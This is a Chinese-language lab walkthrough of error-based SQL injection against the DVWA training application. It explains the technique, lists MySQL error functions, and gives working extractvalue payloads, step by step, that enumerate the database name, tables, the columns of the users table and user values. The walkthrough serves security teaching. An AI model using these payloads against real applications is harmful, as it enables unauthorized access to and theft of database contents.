报错盲注
原理:
报错注入(Error-based SQL Injection)是一种SQL注入攻击技术,它依赖于应用程序在发生数据库错误时返回给用户的详细错误信息。这些错误信息可能包含关于数据库结构的敏感信息,如数据库表名、列名、数据类型等,甚至可能泄露部分数据。攻击者可以利用这些信息来进一步构造更精确的SQL查询,以绕过应用程序的安全措施,获取未授权的数据访问或执行未授权的操作。
常用报错函数:
1.floor()报错
2.extractValue()报错
3.updateXml()报错
4.NAME_CONST()报错
5.jion()报错
6.exp()报错
下面进行报错注入dvwa靶场。
1.爆库名
sql
1' and extractvalue(1,concat(0x7e,database()))#
2.爆表名
先爆表的数量
sql
1' and extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='dvwa')))#
再具体爆每张表的名字
sql
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),0x7e,(select table_name from information_schema.tables where table_schema='dvwa' limit 1,1)))#
3.爆列名
sql
1' and extractvalue(1,concat(0x7e,(select count(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users')))#
最后爆出一共有八列。
分别爆出八个列名并找出可能有价值的列。
sql
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 0,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 1,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 2,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 3,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 4,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 5,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 6,1)))#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='dvwa' and table_name='users' limit 7,1)))#
爆到4的时候有一个user的列,很明显是存放用户的列。
4.爆字段
爆出有几个用户
sql
1' and extractvalue(1,concat(0x7e,(select count( user) from users )));#
在爆出各个用户的名称
sql
1' and extractvalue(1,concat(0x7e,(select user from users limit 0,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 1,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 2,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 3,1)));#
1' and extractvalue(1,concat(0x7e,(select user from users limit 4,1)));#